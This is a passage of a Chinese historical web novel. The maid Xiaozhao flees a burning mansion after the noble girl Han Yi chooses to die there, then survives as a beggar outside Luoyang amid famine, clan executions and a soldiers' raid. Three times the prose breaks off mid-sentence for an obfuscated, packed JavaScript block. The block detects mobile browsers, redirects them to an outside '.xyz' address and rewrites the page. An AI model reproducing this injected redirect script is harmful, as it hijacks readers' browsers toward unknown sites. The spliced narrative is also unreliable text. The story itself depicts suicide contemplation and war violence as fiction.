傅母为人严肃,得知被骗后一直对小昭没什么好脸色,却对韩仪忠心耿耿。她是个极为稳重的人,鲜少露出这样神色:“女公子,女公子,你听我说……” 她咽了口唾沫,压下口气中的恐惧,急急道:“府内来了一伙歹人,说……说府君在兖州公干时为人所动,抛弃家小投了鲁王叛军。禁中震怒,遣人来抓捕韩氏族人以作要挟,死生……不论。” 小昭攥紧了手中的短剑:“韩府偌大,此处偏僻,趁兵众未至,我带女公子逃出去。” 傅母道:“不可!” “为何不可,府中所有小路我都熟悉!” 韩仪开口插话:“傅母,你知道,这楼中有——” “仆役身契不全,倒是无妨,但府君有几名子女,他们却心知肚明,若寻不到,定会广发通缉。就算你们逃出府邸,又怎能逃过追捕?” 傅母瞥了小昭一眼,忽然抓住了她的手。 冰凉的触感令她打了个哆嗦。 6.静女(四) 静女(四) “为今之计,惟有……小昭,你虽比女公子小了几岁,但身材高挑,必能蒙混过关!事发突然,只要混过这一夜——”傅母顿住,自言自语道,“不行、不行,他们总会发现的,到时还是要验明正身……” 她扫视一圈,伸手取了手边的烛台,往楼下的嫁妆丛中一摔。 盛放嫁妆的多是木箱木篮,溅了灯油,顷刻便冒出几个微小的火花来。 “火焚之后面目全非、难以辨认……小昭!韩氏收留你、养育你,女公子这些年视你如姊妹,对你有滔天恩德,你读了那么多圣贤书,必定明白什么叫知恩图报——今夜,便是你报恩之……” 韩仪语带颤抖地打断她:“够了!” 傅母不理会,只是紧紧盯着小昭的眼睛:“你这便上楼去,换下衣袍、划花面容,为女公子做最后一件事罢。你本是弃儿,无父无母,更无投奔之人,就算出了府邸,也无处可去,世道艰险,何必继续受罪?” 小昭听懂了她的言外之意。 几乎是瞬间,她就下定了决心:“傅母……放心。” 握着她的手终于松了一松,傅母侧头看向韩仪,浑浊的眼睛中落下一滴泪来:“我答应过你母亲会护着你,只是……旁的话来不及说了。你快顺着暗道出城去,逃去府君那里,或私下求齐氏庇护。我打听过许多次,与你有婚约的小齐公子人品贵重,他一定会救你的!” 韩仪回望着她,眼中映出楼下渐明的火光:“你不跟我一起走?” “我有身契,又为你傅母,怎能凭空消失?不要管我,照我说的,快去!” 傅母推了二人一把,匆匆转身。韩仪挽留未成,端了阶前的另外一个烛台,大步往楼下走去,小昭明白她是嫌楼下火势太小,便取了烛台跟上。 缠了红绸的礼箱将路堵得十分曲折,韩仪走得跌跌撞撞,四处倒着手中的灯油,最后将蜡烛一抛,满意地看它们烧成了一片。 长发尽数散下,火光闪烁,将她病色苍白的脸映出了几分虚假的生机。小昭见她痴站在原地不动,便绕过身边的箱子,抓住了她的手腕:“女公子,快跟我走!” 韩仪浑浑噩噩地被拖回楼顶的房中,直到小昭伸手解她的衣带,她才回过神来:“你做什么?” 小昭不答,急急问:“傅母方才没有讲明,你我更衣后,你要如何逃出去?我听她言语,思过楼中应该有暗道?暗道在哪里?” 升腾的烟雾缭乱了一切,小昭嗅着空中的烧灼气息,不可避免地回想起她不愿去想的从前——胡兵闯入她幼年时的村落,政斗焚毁了天仙宝境般的花园,她在乎的所有人都死在大火之中。 如今楼下又起了火,仍是那种颓靡的、贪婪的味道。 她不能让韩仪死在火中! 阿母定然不会责怪她不守信诺,与他们同葬火海,或许也算是殊途同归罢。 韩仪扑到案前,翻找良久才挪动了一个毫不起眼的印章。窸窣声后,榻下多了一个森然的黑洞。 因楼下起火,洞中弥漫着灼人的热气。 小昭一手扯散了自己的发带,另一手拔了腰侧别着的短剑,正要划向自己的脸,韩仪一把抓住了她的手腕。 燎有火星的灰烬在两个人的面前缓慢地上浮。 小昭先反应过来,颤动着嘴唇开口:“快走!我……甘愿为你而死。” “小昭,你圣贤书读得太多了。” 她正要再说一些“报恩尽义”的话,韩仪就打断了她:“你为什么要为我而死?” 无数句道理涌过她的喉间,但她竟然一句都说不出来,最后也只道:“我想让你活下去。” 可韩仪却道:“你不要为任何人而死。” 她从她手中接过了那把短剑,呛咳几声:“人生天地间,最要紧的就是自己的性命。我记得你对我说过,你阿母临死前,叮嘱你要好好活下去,你忘记了她的话吗?虽说寿有终极,可你来过一场,这样青春年少,不留下什么东西,怎么能甘心?” 小昭张了张嘴,良久才道:“可是……你就能甘心吗?” “这是我的命运,不是你的。” 火光将直棂窗的影子投在韩仪的面上,那棂条黑影一道又一道,如同牢狱的栅栏。而在这样的时刻,韩仪居然出奇平静,她从腰侧解下了一块玉佩,塞进小昭手中:“若你想报我的恩,便为我做最后一件事罢——我要你答应我,活过今日,好好长大,长大后,你就去一个很远的地方……” 她的指尖在她面上划过,声音飘忽:“越过颍川、汝阴、淮南,渡过大江……江那边,有一个地方叫会稽,那里住着一位对我有滔天恩情之人,是王朝的始宁长公主。你替我将这玉佩交给她,告诉她,我……不负所托。” “我早就该去的,我总想着太远了,想长大一些、再大一些……” 小昭紧攥着她的手:“女公子现在出发,也来得及!” “来不及了,”韩仪摇摇头,苦笑了一声,“其实我知道,我先天体弱,是走不了这么远的,我只是……” 她将短剑压在玉佩之上,再说不下去,小昭拽着她往密道的入口去,但不知她哪来的力气,牢牢钉在原地,寸步未挪。 “傅母说得不错,我不能走,就算能逃出去,我要去哪里?父亲不曾顾惜家人,去也无用。难道,真要我如傅母所言,去未婚夫婿那里摇尾乞怜、求他庇护?” “我一个人逃不了那么远的。” “可你不一样,你之前能活下来,以后也能。” 小昭张望着楼下逼近的火光,惊惶道:“不逃、不逃就不必烧这把火了,既然是作威胁,他们不会杀你的!” “哈,我了解父亲,他绝不会为了我和兄长们束手就擒,”韩仪嘲讽一笑,“不放这把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700491|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火,落到他们手中,死前还不知要遭什么折辱——我不要过那样苟且的日子。” 说完这话,她忽然伸手,狠狠推了小昭一把。小昭猝不及防,仰面跌入了密道当中。 密道逼仄,楼下有火,霎时间灼热的温度便逼近了她的面颊,然而此时她却无暇多顾:“女公子!” “你记住我的话了吗,你有事要为我去做,一定要、一定要长大呀。” 韩仪手脚并用地爬回案前,将密道封死,小昭只能听见她似乎很近、又飘得很远的言语:“小昭,快跑、快跑!” 声音重叠,仿佛还是昔年秋景正盛时,她在庭中为韩仪舞剑,银杏染金、枫叶如火,韩仪支手看她,面上带笑,眼中却无一丝笑意:“妹妹若能活下来,像你一样就好了。” “这话我只对你说,因为府中只有你敢——” “别唤我女公子了,唤我一声阿姊罢。” “阿姊——”小昭用力锤着头顶封死的门,嘶吼道,“阿姊!!!” 周遭越来越热,烟雾从缝隙中争先恐后地侵入。小昭险些失去意识,意识到徒劳后,她呆愣片刻,撕了块衣摆捂住口鼻,拼命向密道的另一侧跑去。 逃离逼近的火焰,逃离呛人的黑烟。 逃离浓稠胜血的花丛,逃离白骨遍野的荒原,逃离面目全非的故乡。 她跌跌撞撞、一刻不停地跑着。通道逐渐变得逼仄窄小起来,最后她不得不在积水的地面上匍匐前进,狼狈至极。 鼻尖萦绕的焚烧味道越来越淡、越来越远,彻底被水腥气淹没过去。 小昭几乎麻木地前行着,脑中混乱一片,只剩下韩仪在洞口俯视她的表情——她垂眼注视着她,目光中没有赴死的恐惧,也没有她一直看不懂的寂灭,只有笑意。不过这次韩仪也落泪了,泪水被火焰烧灼得滚烫滚烫,滴在小昭的额头上,而她含着泪冲她微笑,对她说,跑,快跑! 她记不清自己在黑暗的通道中走了多久。 在之后的很多年中,她总是梦见自己在密道里爬行,手臂上有烫伤的痕迹,泥泞遍身、疲惫至极,却从未停下过脚步。 最后她看见了幽蓝的夜色。 密道的尽头在护城河与外城水渠的连通处,小昭拨开杂乱的草丛,一头砸进了清浅的河渠。 她仰面躺在水里,想起很多很多年前的夜晚——她没有被阿母捡回去的时候,大抵就是这样浸在水中。她被大地生养,河水就是她的襁褓,兜兜转转,她还是回到了母亲的怀抱,这么多年,仿佛都不曾存在过。 安稳的“好地方”,也从来没有存在过。 世界一片模糊,小昭本以为是细密春雨落下,出神许久才意识到是自己在流泪。 而在外城淡然平和的春夜中,熟悉的琵琶从很远的地方遥遥传入她的耳中,伴随着风声、水流声、万籁归一的尘嚣声,碎玉啼血,哀艳如昔。 7.无居(一) 无居(一) 小昭不记得自己在冰冷的地面上躺了多久,直至东方的天空露了鱼肚白,她才浑浑噩噩地爬起来,漫无目的地顺着荒郊的道路向外走去。 道旁野草蓬乱,间杂着火焚和车碾的痕迹,她握紧手中的短剑,举目远望。 密道的出口在外城的人迹罕至处,触目是一望无际的荒原,明明是春日,这里的草木却枯黄摇落,看不见一丝生机。 水渠没走几步就干涸殆尽,她在最后的潮湿中嗅到了朽坏的气味。 腐蝇围绕的白骨堆比比皆是,塞满荒野。 她再次产生了强烈的虚无感。 洛阳城中的几年仿佛一场梦,醒来后她仍旧是那个刚刚离开家乡的九岁少女,顺着满地白骨,充满希冀地来到传闻中世间最安稳的地方。 可远处的邙山依旧烟云笼罩,“安稳”是阿母欺骗年幼孩子的拙劣谎言。孩童已经长大,墙高沟深的韩氏府邸亦坍塌破碎,她再也无法自欺欺人了。 小昭踉踉跄跄地走着,忍不住笑出了声。 阿父阿母离去了,络姑和韩仪也离去了,她在这世间相识的人、牵挂的人,先后变为这道旁数不尽的白骨堆,正如当年那相师所言。 在辛苦经历了许多之后,她又变成了天地间如飘蓬般孤单的存在。 千年寥落,万岁孤身。 若注定如此,煌煌长生又有何意义? 小昭拔出了原本要送给韩仪的那把短剑,向面前招摇的杂草砍去。 她左斫右砍,恨得双眼通红,却不知道自己到底应该恨谁,连剑都尽数落空。 枯草的碎屑溅在空气中,与尘埃相随飘舞。 她不顾一切地挥剑,直至力气用尽,长发散乱,颓然跌倒在空空如也的大地上。 仿佛是心有所感般,抬眼,她便看见了初升的太阳。 那是一轮血红的太阳,比残阳更加浓稠艳丽。 它刺目火热,染红了整片天空,小昭怔然望着它,感觉周遭的一切都热烈地烧了起来。 ——天地已成火海。 她痴痴地看着这一片猩红的世界,站起身来,欲将自己投入其中,一同焚烧成灰烬。 那年夜里洛水鬼哭,今日原中野火烧身,她连最后寻求“安稳好地方”的希冀都丧失,不如早些与亲爱之人团聚。 小昭朝着太阳的方向走去,一步,两步。 她提起了手中的短刀。 三步。 她将那把刀横在了自己的颈间,清晨的风吹动鬓角发丝,挽留地抚弄她的脸。 握剑的手不住发抖。 四步。 而在她下定决心之前,无数的声音在耳边飘渺地响了起来。 “小昭,你听阿父说,无论发生了什么,都不要出来。” “你答应阿母,要好好活着……要活下去!” “——滚开!” “一定要、一定要长大呀!” “小昭,快跑,快跑!” 最后声音相融,混在一起,竟变成了铺子里一声又一声煅铁的脆响。 “叮——” 小昭感觉有一滴眼泪从眼角滑落了下来,滚烫似铁水。 她有很久不曾哭过了,几乎忘记了眼泪划过脸颊的触感。 叮—— 铁花迸溅。 叮! 有什么东西从她心口处沉重地坠了下来,砸在了荒地上,小昭下意识地俯身去捡,握在手里才发现是韩仪留给她的那块玉佩。 几乎是与此同时,她感觉到有什么东西缠上了自己的右脚。 小昭死死抓着玉佩,迟缓低头,先看见了混杂在枯草中的长发。 长发的主人费了好大的力气,才抬起一张淤血遍布的脸。她看起来如此苍白虚弱,抓着她脚踝的手却那么用力,像抓住了最后一根救命稻草。 “救我……” 女孩尘土满身,看着似乎比她还要小一些,她应该受了很重的伤,连眼神都有些涣散,声音却坚定:“救救我……” “我要、我要活下去。” …… 小昭也不知道自己哪里来的的力气,她将玉佩重新塞回胸襟中最贴近心脏的地方,然后背起那个不知名姓的女孩,走了许久。 正午阳光最炽烈时,她终于寻到了一道细细的河渠。 女孩从她背上挣扎着跳下来,爬到水渠前饮水,喝够了,又撩起清水缓慢地清洗起自己的脸来。 小昭抱着剑蹲在另一侧,沉吟良久才开口:“……你叫什么?为什么在这里?” 声音沙哑得吓人,她自己听了亦觉陌生。 而听见这个问题后,女孩愣在原地,迟迟没有回话。小昭看见她的手指死死陷入了周遭的泥土中,手背用力到青筋毕现。 “我……” 她低垂着头,刚说出一个字,便面色一变,急急呕出一口血来。小昭上前接住她,拨开外裳检查了一番,发现她胸口和后背都有深紫的淤青,应该是高处坠落留下的撞击伤。 小昭连忙撕了自己的裙摆,在冷水中浸透了,敷在女孩的伤处。女孩面色痛苦,单手掐着自己的脖颈,想要说话,却死活发不出声音来。 “你失声了,应该是受伤造成的淤血堵塞,”小昭捏着她的喉咙检查一番,松了口气,“先不要说话,等养好了伤,自然会好的。” 女孩拼命点头,拉着她那块湿哒哒的裙摆打了个哆嗦。 小昭擦去她唇角的血迹,她愣了愣,扯出了一个大大的笑容,随即转头四顾,指了指不远处一株孤零零的树,又指了指自己。 “树……”小昭看了一眼,猜测道,“你的名字?” 女孩点头。 “那我叫你阿树,好不好?”小昭也将散乱的长发浸入清水中,一点点洗净、梳散了,“我叫小昭,是明亮的那个‘昭’。” 太阳升起来了,冰冷的流水也被这春日的太阳浸润,变得温暖柔和起来。小昭洗罢了头发,将那柄短剑也浸入水中,思索片刻后,她提起水淋淋的剑,毫不留恋地割断了自己的长发。 阿树瞪着一双大眼睛,不解地看她,小昭却并不在意,只问:“阿树,你要去哪里?” 阿树的眼神一下子灭下来,她垂下眼睛,摇了摇头。 “那你的父母呢?还有你其他的亲人……” 阿树重新抬头看她,唇角弯了弯,似乎想要重新挤出一个笑容来,却没成功,眼泪像是珠帘断线般从颊侧簌簌滑落。 小昭的眼睛也红了,她收了剑,用没有打湿的袖口为她擦掉了眼泪。 “好阿树,不哭了,”她回忆着韩仪哄自己的语气,温声道,“那你就跟着我,好不好?你要活下去,我……也要活下去。我们都没有亲人了,就一起做个伴,我会保护你的。” 阿树怔然看着她,忽然直起身来,朝她行了一个大礼,小昭拉她起来,她不肯动,伏在地面上抽噎大哭。 小昭轻轻拍着她的背,仰头看天。 日光正盛,天地澄明。 * 于是,在经历了东苑里不见天日的一年零两个月、韩氏后园中如梦似幻的两年零一个春天之后,小昭再次成为了流浪的乞儿。 这回,她还多了一个不会说话的妹妹。 她本想带着阿树离开洛阳,可韩仪曾对她说过,自扶风王引胡兵南下后,洛阳以西尽是流窜的胡匪,又兼大旱之后久未消散的瘟疫,十室九空,白骨遍野。 而顺着洛水继续东行,要翻越重峦叠嶂,度过险峻的虎牢关。这一路危机重重,虽说她未来必定要顺水东行、不负韩仪“去会稽”的嘱托,但如今只靠她们两个未长成的、一无所有的女郎,必不能成行。 思前想后,小昭还是带着阿树回到了洛阳城外,她和络姑曾经落脚的地方。 韩氏一朝覆灭,但洛阳依旧是世人眼中“安稳”的洛阳,不缺粮米、金玉满城。每日仍有无数的流民从四面八方涌来,成为外城草棚中衣衫褴褛的一员,等待终将到来的死亡,或万里挑一的机遇——就如同她当年懵懂地被韩仪带走一般。 小昭如今很有一些流浪的心得体会,譬如知道要寻利器绞了阿树的头发、用泥巴涂抹面容,尽量含糊性别;譬如怎么到野外寻草籽、挖树皮,怎么抢到最大的饼子;譬如不要相信自己以外任何一个人的话。 她将韩仪留下的玉佩藏在贴近心脏的位置,短剑置于袖中,凭借着阿母与韩仪言传身教的狡黠聪慧、阿父与韩氏府兵教授的刀剑功夫,带着阿树好好地在乞儿堆里活了下来,甚至因为能打架、会护食、脑袋灵光,救下过好几个被欺凌的孤儿。 不过两三个月,她的名声便渐渐传扬开来,连大人都不敢轻易来惹这个打架凶狠的孩子。 与她年纪差不多的一群乞儿为她取了个外号。 “前朝有皇帝封自己做‘无上将军’,阿姊庇护众人,便封作‘无居’将军罢。” 小昭初听这个外号不免失笑,怔然间想起昔时与韩仪同读扬雄的《逐贫赋》,读“邻垣乞儿,终贫且窭”。 没想到时移世易,她自己也成为了墙外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712359|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人。 市井流浪久了,消息便灵通。从前韩仪说过的那些令她似懂非懂的朝局,也变得逐渐清晰。 冯凭初入洛阳时,还会装模作样地赈济流民,如今再无忌惮,行事愈发嚣张跋扈。他不仅大批屠杀朝中心存异望的官员,还在东苑原址上修建了一座更加奢华的别馆,供自己游玩取乐。 赈济之事不复,士兵离去,草棚便被流民中最为高大强壮的男子强占,老弱妇孺则被赶出四下流落。 小昭心知不能以寡敌众,带着几个交好的乞儿来到了建春门外。 建春门外临近阳渠,漕运发达,人力众多,又有洛阳小市,就算找不到地方做活,偷捡些闭市后的残余也能勉强生存。 东墙三里以内多为官员住宅,巡守者日夜探查,驱逐乞儿。小昭和同伴们最后在殖货里最东侧寻到了一处只剩断壁的民居,民居离最近的人家也有一射之地,应该不会被邻里赶走。 此处虽是残垣破顶,但时在春夏之交,不必取暖,尚可栖身。 在破败房舍中过的第一夜,众人都睡不着,聚在一起说话。 “不知这家的主人去了何处,殖货里人头攒动,独留此处残损……好似还有火焚痕迹?” “想必是出事了罢,我家当初被烧后,也是这般情态。” 房中难得沉默。 小昭亦思及往事,不禁黯然,阿树察觉到她的伤怀,拉了拉她的袖子。 “我没事,”小昭很快回过神来,摸摸她的头,“还不困吗?” 阿树摇头。 阿树的伤未得良好医治,竟一直失声到现在。小昭虽从府兵那里学到过军中处置伤员的简单技巧,但毕竟不通岐黄,只能白白着急。 她正在盘算去哪里才能为阿树找来一个医师,便听见有人问她:“大将军,你以后想去做什么?” 说话的是最初为她取外号的乞儿“黄鼬”。 黄鼬是个瞧着有八九岁的男孩,不知名姓、不知来处,流浪前似乎读过些书,谈吐与旁人颇为不同,平日里灵活四蹿,什么都能听一耳朵。城中之事,小昭大都是从他那里听来的。 因他头脑灵活、油嘴滑舌,又身量细长,如黄鼬奔走,众人便笑称其为“黄鼬”。久而久之,这竟成了他的姓名。 好久没有人问起“以后”了,小昭思索半天,反问道:“你呢?” 黄鼬凑上前来,神神秘秘地道:“我为你想了一个绝好的去处。” 阿树眨了眨眼睛,表示好奇。 “你武艺高强,又古道热肠,为何不效仿那个什么‘大楚兴、陈、陈……’” 他忘了后半截,不禁抓耳挠腮,小昭有些好笑地接口:“大楚兴,陈胜王。” “对对对!”黄鼬连连拍着大腿,“等你长大了,就在附近寻一个山头,上山做土匪去,到时候你振臂一呼,我们都去投奔你,是不是?” 他周遭的乞儿大声叫好,其余人无论听懂听不懂,也就着气氛,跟着瞎嚷嚷起来。 小昭想了想,居然觉得很可行:“……好呀,我教你们一些武艺傍身,到时候你们都来投奔我。” 只是不知洛阳周遭还有没有空着的山头。 黄鼬越说越激动:“汉末时有黄巾传道,喊什么‘苍天已死’,他们都做得,我们为何做不得?到时候大将军做老大,我就为你做手下,那些烧杀抢掠的贼子、草菅人命的郎官,我提着剑就‘唰唰唰’——” 他以手比剑,夸张地挥舞,众人被他逗笑,七嘴八舌地构想起来。 “等我学会剑术,先去做游侠,亡命天涯的那种。说不定哪天我刺杀了一个了不得的大人物,便海内扬名了呢!” “带我一个!不过……做游侠能吃饱饭吗?” “……” 小昭在吵嚷声中闭目假寐,眼前的黑暗中天花乱坠地闪过她埋在心底、从未示人的字眼。 死去的温皇后,羸弱天子,目盲储君。 纷乱朝局,煎熬乱世。 叛变的兖州军,抛妻弃子投奔鲁王的韩衷。 被杀掉的梁王、赵王,引胡兵入京、自封为大司马的扶风王冯凭。 要拥有以后,就要了结从前。 要活下去,就要恨一些……看似不可能撼动的东西。 她迷茫地想着一切,这些遥远的字句沉甸甸地朝她压过来,遮蔽了投向前路的视线,她在苦海中浮沉挣扎,耳边枉然地重复着—— 先活下去。 先长大罢。 总有一日。 总有一日。 8.无居(二) 无居(二) 岁至春夏之交,中原大旱绵延,阳渠几乎见底,漕运先与灌溉争水,后不得不彻底停摆。眼见今春无收,有巨贾囤积居奇,致使粮米节节攀涨,与金等贵。 小市交易颓靡,比先前她和阿母来时更难找活,谁也不愿多舍一口饭。闾里、市集和寺庙中先前还有人布施,现人人自顾不暇,甚至要与流民一同往荒郊野外去寻找饱腹之物。 密道中抽身而见的春日荒草,便是饥荒如影随形的先兆。 天愈暑热,小昭心中愈是焦躁不安。 无赈灾之米粮。 洛阳外城的居民相对旁处已是富庶,小市周遭商贾与匠人众多,若连这些人都要吃草籽树皮,天下还有何处可去? 无大地之供养。 夏日野郊虽多荒草,尚有生机,等到仲秋、等到寒冬,等到百年之木亦因缺水凋敝,世间还剩何物可食? 小昭不敢想,夜中却梦见了当年邻家妇人烧开水的情景,肉块在锅中上下翻涌,后来溶成一大片赤红的血,满溢出来,血中还有小小的手在挣扎,喊着不要吃我不要吃我。 惊醒之后,冷汗濡湿衣衫。 她清醒而又无能为力地意识到,等到那一日,首先被绞碎的就是她和同伴这样身世飘零、居无定所、弱小年少,只有彼此作依傍的乞儿。 阿树的病丝毫不见好,反倒一日比一日严重起来。天气渐热,疫气亦盛,她经常烧得双颊通红,恹恹的没精神,人也愈发枯黄干瘦。某日小昭夜半醒来,恰好看见阿树挣扎着起身,走出很远才敢放声咳嗽。 她胡乱地用手背抹着唇角溢出的血丝,回头却见小昭站在不远处定定地看着她。 今夜无月,星斗漫天,暖风吹面如抚,小昭一步一步走近,在她身边坐了下来。 阿树揪着衣角,眼眶酸涩,脸涨得通红,她拉过小昭的手,想要在她手心写些什么解释,小昭却直接握住了她的手。 “我是出来看星辰的,”她平静地说,“不要流泪,天下大旱,你身体里的血很珍贵,水也很珍贵。” * 次日,市中又开刑场,小昭对此已然麻木,但囚犯从建春门道上被押解过来时,她一眼看见了最前头的年轻男子,不由心神大震。 虽然他面上尽是伤痕,人也瘦得如同骷髅鬼,但小昭还是认了出来。 ——这是韩仪的族兄,当年堂中吞云吐雾的几位风流人物之一。 胸腔一跳一跳,捶打出熟悉的隐痛,她连忙挤到道旁的人群中,将这群人从头到尾地看了一遍。 几十名男女老少被捆缚双手,跌跌撞撞地自城门下鱼贯而出。 两三个月的牢狱生活将士族的体面消磨殆尽,每个人身上都遍布伤痕和污秽,蓬头垢面、不人不鬼。 小昭将每个人看了又看,终于确定,那一夜身在洛阳城中的韩氏阖族耆老、公子、宗妇、未嫁女,以及稚龄孩童,大都在此处。 ——韩仪不在。 思过楼中的大火烧尽了她的嫁妆,应也如她所愿,没有让她落入这样不堪的境地。 临近刑场,便有人走不动了,队末一个瘦骨嶙峋的男子双腿一软便跪了下去,带着他前面的妇人一同摔倒,两人按捺不住地呜呜哭起来,押送的兵卒却丝毫不为所动,提鞭就抽:“起来!” 几位族老眼见儿孙如此,不禁激动大骂,骂完儿孙不争气又骂韩衷狼心狗肺、冯凭狼子野心。一位兵头样的人物唾了一声,抽刀下马,来到骂得最凶的那位老者身侧,一把卸下他的下颚,割了他的舌头。 惨叫声响过后,众人陷入死一般的寂静中。 韩仪的族兄自队首回头去看,忽然大笑出声,他笑得东倒西歪,口中还不住喃喃自语,刑鞭加身也未止息。 一行人便在这诡异的笑声中跪成一排。 百年宗族、高门显贵,其中曾有人权势赫赫,在朝堂中翻云覆雨;亦有人风流俊美,于烟雾间高谈阔论。 一息之后,一切将化做尘泥。 屠刀高举。 “我对大司马忠心耿耿,只是那韩衷……” “冯凭谋逆作乱,天人共诛!” “哈哈哈……世事百年青蝇吊,此命何惜争短长!” 人头纷落。 刑台因渗血太多,已成暗红颜色。小昭眼看着韩氏之人被枭首示众,指尖麻木,心中却无悲无喜。 韩仪料想得果然不错,韩衷带走了自己的长子,剩余之人,他根本一个都不在乎,更不会为了他们自投罗网。 天下礼崩乐坏、道义不复,族灭的消息传到兖州去,恐怕还能在鲁王那里为韩衷添一个“忠义”的美名,届时再拉一面“报仇雪恨”的白旗,正好在三军中造势。 小昭冷笑了一声。 在市井流浪的这些时日,她也探听过未投入牢中的韩氏仆役的下落,听得不忍多闻。 这些连棋子价值都没有的草芥之人啊,命运比野火燎出的灰烬还要飘忽脆弱。 行刑结束,几个掌刑的贵族子弟勒马回程,小昭眼尖地发现,众人臂上系了五色的长命缕——她在韩氏时也曾系过,这是仲夏端午的习俗。 原来今日已是夏至日、端午节了。 开国以来,士族崇尚屈原,端午节礼从荆楚一带传至中原,为公卿臣僚所重,每逢此日,邙山多有祭祀。 小昭的念头动了一动。 邙山山遥路险,又有守陵人,祭品极难窃得。可本朝多薄葬,外城中亦有陵墓孤冢,葬的是不能入家族陵寝之人。若他们运气好,找到些设祭之地,或许能捡到祭品! 打定主意后,她便和黄鼬等人分头行动。 从建春门外到南市以西,众人奔走一天,回到聚集地时已是深夜。或许是老天眷顾,他们竟真的寻到了几处设祭之地。 黄鼬甚至遇见了与他们抱有同样心思的乞儿,众人蹲在树后等待祭者离去,为抢食还打了一架。 “可惜阿昭大将军同我不一路,若是你在,定能把他们打得落花流水。”黄鼬摸着脸上的淤青,愤愤不平地道,“他们人太多了,最后我只抢到了一枚。” 他变戏法一般从袖子里掏出一枚艾叶包裹的小小粽子来。 “不知是谁的陵墓,这样大手笔,足足挂了一串在碑前。我攥了一路,没舍得吃。” 孩子们看着那已冷透的粽子,纷纷咽着口水,最后却殷殷看向小昭:“今日全赖阿姊提议,便给阿姊吃罢。” 小昭接过,将粽叶剥去,轻轻咬了一口。 糯米甜黏,舌尖因久未食用过这样的美味而微微颤抖,她尽全力克制了再咬一口的欲望,将它递给了一侧的阿树:“端午佳节,我们一人一口,就当庆祝。” 众人小声欢呼,分食完那枚粽子后,将粽叶也吃得精光。除此之外,今日他们共找到了鲜果几枚、糕饼多块,还有半壶美酒。 分食少许之后,黄鼬将剩余之物一一收好,预备明日再吃。众人自聚于此地后,从未如此高兴过——能吃到些久违的食物,似乎日子都有了些盼头。 连小昭都恍惚觉得,她所担忧之事太过渺远,疫病和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740769|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饥荒或许很快就能过去。秋日里市集繁忙,他们总能找到些活做,顺利活下来。 夏夜苦短,入睡后不过两个时辰,天色便逐渐昏白蒙昧起来。 时节不太平,众人平素都起得很早,只是前夜开怀,睡得香甜,小昭猛然睁开眼睛时,房中的乞儿还一个都没有醒来。 她敏锐觉察到,手边的短剑正在发出幽微的共震声——有人在不远处急切乱跑,留下了一串混乱的脚步。她最初以为是晨起有事的平民,可那声音沉重急促,更似奔逃。 尖叫声、妇人哀嚎、孩童哭闹,在稀薄的清晨混作一团,随着声音的逼近,小昭终于确信,有强盗侵入了里坊间! 当今时节,流寇遍地,甚至有不少平民为争一口|活下去的粮食就地落草。 黄鼬要做的是义匪,但现实中多是穷凶极恶的亡命之徒。 前朝,洛阳周遭坚壁清野,外城只余一片废墟,本朝虽已将其重修,可里坊边缘不过是些毫无抵挡之力的篱笆。太平年间,官兵上门征粮征兵,踹倒了一半;乱世将至,四野盗匪劫掠百姓,又踹倒一半。居于此处的洛阳平民所能依仗的,不过是巡守的士兵——劫掠里坊乃重罪,追捕到不必审讯便可就地格杀。 可士兵呢?这样大的动静,为何不见追兵? 小昭趴在断壁的边缘,往外看了一眼。 不,不是强盗! 她眼睁睁地看见一个满脸络腮胡、手持环首刀的大汉一脚踹塌了屠户垒的泥墙,像抓小鸡仔般抓起了墙后惊恐万分的孩子。 那些噩梦般的记忆霎时袭入她的脑海。 在韩氏的两年,其实她很少见到冯凭手下的胡兵,他们或是在宫禁深处,或是在内城外,极少出现在御道上。洛阳士族对其颇为不满,几次上书,要冯凭将其驱逐回雍凉之外。 前些日子,小昭还隐约听黄鼬提起过——站稳脚跟后,冯凭终于翻脸无情,开始清算手下的胡兵。他先是罗织罪状,将其中颇有威望的将领斩杀,随后颁下御令,不许在洛阳见到胡人面孔。 城郊的乞儿中原本还能见几个逃难南下的胡人孩童,后他们被官兵捉拿殆尽,卖与各处为奴。有不少士兵借此牟利,赚得盆满钵满。 如今墙外的胡兵,恐怕就是前些时日大追捕的漏网之鱼! 他们一家家、一户户地闯入,掀开每一张床榻、敲碎每一个瓦罐——就如同当年劫掠村庄以充军用般,他们劫走每一枚钱币、每一粒米,屠杀反抗的男子,将他们的妻小掳走,放火烧屋。 “快跑,”小昭咬紧颤抖的牙关,对身后刚刚醒来、尚还茫然的众人喝道,“快跑,快跑啊!!” 黄鼬如梦初醒,翻身背起离他最近的阿树,从这残破房中的另一侧越墙而出,狂奔离去。小昭拽着几个年岁更小的孩子绕过断壁,还没跑多远,便迎面撞上了一个比她高一头的胡兵。 